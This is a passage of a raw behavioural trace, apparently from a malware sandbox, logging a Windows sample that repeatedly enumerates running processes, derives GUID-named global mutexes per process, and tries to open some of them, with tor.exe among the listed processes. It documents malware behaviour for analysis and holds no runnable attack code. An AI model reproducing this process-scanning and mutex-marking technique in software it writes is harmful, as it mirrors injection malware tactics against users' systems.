szExeFile="svchost.exe")) returned 1 [0121.085] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.086] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0121.086] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0121.086] GetLastError () returned 0xb7 [0121.086] CloseHandle (hObject=0x56c) returned 1 [0121.086] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.087] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0121.087] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0121.087] GetLastError () returned 0xb7 [0121.087] CloseHandle (hObject=0x56c) returned 1 [0121.087] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.087] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.088] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0121.088] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0121.088] GetLastError () returned 0x0 [0121.088] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0121.088] CloseHandle (hObject=0x56c) returned 1 [0121.088] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.089] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0121.089] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0121.089] GetLastError () returned 0x0 [0121.089] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0121.089] CloseHandle (hObject=0x56c) returned 1 [0121.089] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.090] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0121.090] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0121.090] GetLastError () returned 0xb7 [0121.090] CloseHandle (hObject=0x56c) returned 1 [0121.090] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.091] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0121.091] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0121.091] GetLastError () returned 0x0 [0121.091] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0121.091] CloseHandle (hObject=0x56c) returned 1 [0121.091] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0121.092] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0121.093] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0121.094] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0121.094] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0121.095] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0121.096] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0121.097] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0121.098] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0121.098] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0121.099] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0121.100] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0121.101] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0121.102] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0121.102] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0121.103] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0121.104] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0121.105] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0121.106] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0121.106] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0121.107] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0121.108] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.109] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0121.110] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.111] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.111] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.112] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.113] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.114] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.115] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.115] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.116] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0121.116] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0121.116] GetLastError () returned 0xb7 [0121.116] CloseHandle (hObject=0x56c) returned 1 [0121.116] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0121.117] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0121.118] CloseHandle (hObject=0x6cc) returned 1 [0121.118] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0121.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0121.227] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.227] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.228] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.229] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.230] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.231] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.232] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.232] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.233] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.234] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.240] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.241] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.242] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.243] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.243] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.250] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.250] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.251] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.252] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.253] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.254] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.255] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0121.255] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0121.255] GetLastError () returned 0xb7 [0121.255] CloseHandle (hObject=0x56c) returned 1 [0121.255] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.256] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0121.256] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0121.256] GetLastError () returned 0xb7 [0121.256] CloseHandle (hObject=0x56c) returned 1 [0121.257] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.257] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.259] StringFromGUID2 (in: 